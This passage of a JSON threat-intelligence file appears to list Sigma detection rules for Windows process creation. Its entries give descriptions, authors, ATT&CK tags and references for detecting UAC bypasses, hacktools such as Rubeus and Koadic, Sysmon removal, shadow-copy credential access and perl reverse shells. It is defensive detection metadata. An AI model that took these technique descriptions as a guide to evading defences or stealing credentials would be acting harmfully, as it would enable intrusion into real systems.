      "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/09/25",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "proc_creation_win_remote_access_software_ultraviewer.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_software_ultraviewer.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "88656cec-6c3b-487c-82c0-f73ebb805503",
      "value": "Use of UltraViewer Remote Access Software"
    },
    {
      "description": "Detects a suspicious program execution in Outlook temp folder",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/10/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_office_outlook_execution_from_temp.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_outlook_execution_from_temp.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1566.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a018fdc3-46a3-44e5-9afb-2cd4af1d4b39",
      "value": "Execution in Outlook Temp Folder"
    },
    {
      "description": "Detects the stopping of a Windows service",
      "meta": {
        "author": "Jakob Weinzettl, oscd.community, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/03/05",
        "falsepositive": [
          "There are many legitimate reasons to stop a service. This rule isn't looking for any suspicious behaviour in particular. Filter legitimate activity accordingly"
        ],
        "filename": "proc_creation_win_net_stop_service.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_stop_service.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1489"
        ]
      },
      "related": [
        {
          "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "88872991-7445-4a22-90b2-a3adadb0e827",
      "value": "Stop Windows Service Via Net.EXE"
    },
    {
      "description": "Detects the execution of a renamed \"jusched.exe\" as seen used by the cobalt group",
      "meta": {
        "author": "Markus Neis, Swisscom",
        "creation_date": "2019/06/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_renamed_jusched.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_jusched.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1036.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "edd8a48c-1b9f-4ba1-83aa-490338cd1ccb",
      "value": "Renamed Jusched.EXE Execution"
    },
    {
      "description": "Detects the execution of AdvancedRun utility",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/01/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_pua_advancedrun.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/",
          "https://twitter.com/splinter_code/status/1483815103279603714",
          "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3",
          "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_advancedrun.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1564.003",
          "attack.t1134.002",
          "attack.t1059.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        },
        {
          "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
        }
      ],
      "uuid": "d2b749ee-4225-417e-b20e-a8d2193cbb84",
      "value": "PUA - AdvancedRun Execution"
    },
    {
      "description": "Detects the removal of Sysmon, which could be a potential attempt at defense evasion",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/12",
        "falsepositive": [
          "Legitimate administrators might use this command to remove Sysmon for debugging purposes"
        ],
        "filename": "proc_creation_win_sysinternals_sysmon_uninstall.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-11---uninstall-sysmon",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_sysmon_uninstall.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
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        }
      ],
      "uuid": "6a5f68d1-c4b5-46b9-94ee-5324892ea939",
      "value": "Uninstall Sysinternals Sysmon"
    },
    {
      "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_uac_bypass_wmp.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wmp.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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        }
      ],
      "uuid": "0058b9e5-bcd7-40d4-9205-95ca5a16d7b2",
      "value": "UAC Bypass Using Windows Media Player - Process"
    },
    {
      "description": "Detects the execution of the hacktool Rubeus via PE information of command line parameters",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2018/12/19",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_rubeus.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/GhostPack/Rubeus",
          "https://blog.harmj0y.net/redteaming/from-kekeo-to-rubeus",
          "https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html",
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        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003",
          "attack.t1558.003",
          "attack.lateral_movement",
          "attack.t1550.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
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          "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        {
          "dest-uuid": "7b211ac6-c815-4189-93a9-ab415deca926",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7ec2c172-dceb-4c10-92c9-87c1881b7e18",
      "value": "HackTool - Rubeus Execution"
    },
    {
      "description": "Detects attempts of decoding encoded Gzip archives via PowerShell.",
      "meta": {
        "author": "Hieu Tran",
        "creation_date": "2023/03/13",
        "falsepositive": [
          "Legitimate administrative scripts may use this functionality. Use \"ParentImage\" in combination with the script names and allowed users and applications to filter legitimate executions"
        ],
        "filename": "proc_creation_win_powershell_decode_gzip.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_decode_gzip.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1132.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c",
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      ],
      "uuid": "98767d61-b2e8-4d71-b661-e36783ee24c1",
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    },
    {
      "description": "Detects the execution of whoami.exe with the /group command line flag to show group membership for the current user, account type, security identifiers (SID), and attributes.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_whoami_groups_discovery.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/whoami",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_groups_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033"
        ]
      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bd8b828d-0dca-48e1-8a63-8a58ecf2644f",
      "value": "Group Membership Reconnaissance Via Whoami.EXE"
    },
    {
      "description": "Csi.exe is a signed binary from Microsoft that comes with Visual Studio and provides C# interactive capabilities. It can be used to run C# code from a file passed as a parameter in command line. Early version of this utility provided with Microsoft “Roslyn” Community Technology Preview was named 'rcsi.exe'",
      "meta": {
        "author": "Konstantin Grishchenko, oscd.community",
        "creation_date": "2020/10/17",
        "falsepositive": [
          "Legitimate usage by software developers"
        ],
        "filename": "proc_creation_win_csi_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Rcsi/",
          "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/",
          "https://twitter.com/Z3Jpa29z/status/1317545798981324801",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csi_execution.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1072",
          "attack.defense_evasion",
          "attack.t1218"
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      },
      "related": [
        {
          "dest-uuid": "92a78814-b191-47ca-909c-1ccfe3777414",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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        },
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
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          ],
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      ],
      "uuid": "40b95d31-1afc-469e-8d34-9a3a667d058e",
      "value": "Suspicious Csi.exe Usage"
    },
    {
      "description": "Detects execution of \"git\" in order to clone a remote repository that contain suspicious keywords which might be suspicious",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_git_susp_clone.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://gist.githubusercontent.com/MichaelKoczwara/12faba9c061c12b5814b711166de8c2f/raw/e2068486692897b620c25fde1ea258c8218fe3d3/history.txt",
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        ],
        "tags": [
          "attack.reconnaissance",
          "attack.t1593.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "70910fbd-58dc-4c1c-8c48-814d11fcd022",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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      ],
      "uuid": "aef9d1f1-7396-4e92-a927-4567c7a495c1",
      "value": "Suspicious Git Clone"
    },
    {
      "description": "Detects execution of the SharpImpersonation tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively",
      "meta": {
        "author": "Sai Prashanth Pulisetti @pulisettis, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_sharp_impersonation.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/",
          "https://github.com/S3cur3Th1sSh1t/SharpImpersonation",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharp_impersonation.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.defense_evasion",
          "attack.t1134.001",
          "attack.t1134.003"
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      },
      "related": [
        {
          "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d",
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        {
          "dest-uuid": "8cdeb020-e31e-4f88-a582-f53dcfbda819",
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      ],
      "uuid": "f89b08d0-77ad-4728-817b-9b16c5a69c7a",
      "value": "HackTool - SharpImpersonation Execution"
    },
    {
      "description": "An attacker may execute an application as a SCR File using rundll32.exe desk.cpl,InstallScreenSaver",
      "meta": {
        "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io, TactiKoolSec",
        "creation_date": "2022/04/28",
        "falsepositive": [
          "Legitimate installation of a new screensaver"
        ],
        "filename": "proc_creation_win_rundll32_installscreensaver.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1218.011/T1218.011.md#atomic-test-13---rundll32-with-deskcpl",
          "https://lolbas-project.github.io/lolbas/Libraries/Desk/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_installscreensaver.yml"
        ],
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          "attack.t1218.011",
          "attack.defense_evasion"
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      },
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        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
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      ],
      "uuid": "15bd98ea-55f4-4d37-b09a-e7caa0fa2221",
      "value": "Rundll32 InstallScreenSaver Execution"
    },
    {
      "description": "Detect the use of \"sc.exe\" to change the startup type of a service to \"disabled\" or \"demand\"",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/01",
        "falsepositive": [
          "False positives may occur with troubleshooting scripts"
        ],
        "filename": "proc_creation_win_sc_disable_service.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_disable_service.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1562.001"
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      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "85c312b7-f44d-4a51-a024-d671c40b49fc",
      "value": "Service StartupType Change Via Sc.EXE"
    },
    {
      "description": "Detects the execution of wmic with the \"qfe\" flag in order to obtain information about installed hotfix updates on the system. This is often used by pentester and attacker enumeration scripts",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wmic_recon_hotfix.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html",
          "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_hotfix.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047"
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      },
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        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
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      ],
      "uuid": "dfd2fcb7-8bd5-4daa-b132-5adb61d6ad45",
      "value": "Windows Hotfix Updates Reconnaissance Via Wmic.EXE"
    },
    {
      "description": "Detects possible execution via LNK file accessed on a WebDAV server.",
      "meta": {
        "author": "Micah Babinski",
        "creation_date": "2023/08/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_webdav_lnk_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://micahbabinski.medium.com/search-ms-webdav-and-chill-99c5b23ac462",
          "https://www.trellix.com/en-us/about/newsroom/stories/research/beyond-file-search-a-novel-method.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webdav_lnk_execution.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001",
          "attack.t1204"
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      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
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        {
          "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5",
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      ],
      "uuid": "1412aa78-a24c-4abd-83df-767dfb2c5bbe",
      "value": "Potentially Suspicious WebDAV LNK Execution"
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    {
      "description": "Detects usage of the \"ms-appinstaller\" protocol handler via command line to potentially download arbitrary files via AppInstaller.EXE\nThe downloaded files are temporarly stored in \":\\Users\\%username%\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\AC\\INetCache\\<RANDOM-8-CHAR-DIRECTORY>\"\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Swachchhanda Shrawan Poudel",
        "creation_date": "2023/11/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_ms_appinstaller_download.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ms_appinstaller_download.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1218"
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      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
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          ],
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      ],
      "uuid": "180c7c5c-d64b-4a63-86e9-68910451bc8b",
      "value": "Potential File Download Via MS-AppInstaller Protocol Handler"
    },
    {
      "description": "Detects attempts of decoding a base64 Gzip archive via PowerShell. This technique is often used as a method to load malicious content into memory afterward.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/12/23",
        "falsepositive": [
          "Legitimate administrative script"
        ],
        "filename": "proc_creation_win_powershell_frombase64string_archive.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=43",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_frombase64string_archive.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1132.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c",
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          ],
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        }
      ],
      "uuid": "d75d6b6b-adb9-48f7-824b-ac2e786efe1f",
      "value": "Suspicious FromBase64String Usage On Gzip Archive - Process Creation"
    },
    {
      "description": "Detects tools such as UACMe used to bypass UAC with computerdefaults.exe (UACMe 59)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/31",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_uac_bypass_computerdefaults.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_computerdefaults.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
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      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
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      ],
      "uuid": "3c05e90d-7eba-4324-9972-5d7f711a60a8",
      "value": "UAC Bypass Tools Using ComputerDefaults"
    },
    {
      "description": "Detects usage of 7zip utilities (7z.exe, 7za.exe and 7zr.exe) to extract password protected zip files.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/03/10",
        "falsepositive": [
          "Legitimate activity is expected since extracting files with a password can be common in some environment."
        ],
        "filename": "proc_creation_win_7zip_password_extraction.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.cyble.com/2022/06/07/bumblebee-loader-on-the-rise/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_7zip_password_extraction.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1560.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b717b8fd-6467-4d7d-b3d3-27f9a463af77",
      "value": "Password Protected Compressed File Extraction Via 7Zip"
    },
    {
      "description": "Detects command line parameters used by Koadic hack tool",
      "meta": {
        "author": "wagga, Jonhnathan Ribeiro, oscd.community",
        "creation_date": "2020/01/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_koadic.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.f-secure.com/hunting-for-koadic-a-com-based-rootkit/",
          "https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/",
          "https://github.com/offsecginger/koadic/blob/457f9a3ff394c989cdb4c599ab90eb34fb2c762c/data/stager/js/stdlib.js",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_koadic.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.003",
          "attack.t1059.005",
          "attack.t1059.007"
        ]
      },
      "related": [
        {
          "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5cddf373-ef00-4112-ad72-960ac29bac34",
      "value": "HackTool - Koadic Execution"
    },
    {
      "description": "Detects Windows Installer service (msiexec.exe) spawning \"cmd\" or \"powershell\"",
      "meta": {
        "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community",
        "creation_date": "2020/10/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_elavated_msi_spawned_shell.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-50-638.jpg",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_elavated_msi_spawned_shell.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1e53dd56-8d83-4eb4-a43e-b790a05510aa",
      "value": "Always Install Elevated MSI Spawned Cmd And Powershell"
    },
    {
      "description": "Detects usage of Dsacls to grant over permissive permissions",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/20",
        "falsepositive": [
          "Legitimate administrators granting over permissive permissions to users"
        ],
        "filename": "proc_creation_win_dsacls_abuse_permissions.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://ss64.com/nt/dsacls.html",
          "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_abuse_permissions.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "01c42d3c-242d-4655-85b2-34f1739632f7",
      "value": "Potentially Over Permissive Permissions Granted Using Dsacls.EXE"
    },
    {
      "description": "Shadow Copies creation using operating systems utilities, possible credential access",
      "meta": {
        "author": "Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community",
        "creation_date": "2019/10/22",
        "falsepositive": [
          "Legitimate administrator working with shadow copies, access for backup purposes"
        ],
        "filename": "proc_creation_win_susp_shadow_copies_creation.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment",
          "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tutorial-for-ntds-goodness-vssadmin-wmis-ntdsdit-system/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shadow_copies_creation.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003",
          "attack.t1003.002",
          "attack.t1003.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b17ea6f7-6e90-447e-a799-e6c0a493d6ce",
      "value": "Shadow Copies Creation Using Operating Systems Utilities"
    },
    {
      "description": "Detects execution of perl using the \"-e\"/\"-E\" flags. This is could be used as a way to launch a reverse shell or execute live perl code.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_perl_inline_command_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.revshells.com/",
          "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_perl_inline_command_execution.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f426547a-e0f7-441a-b63e-854ac5bdf54d",
      "value": "Perl Inline Command Execution"
    },
    {
      "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/13",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "proc_creation_win_remote_access_tools_gotoopener.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_gotoopener.yml"
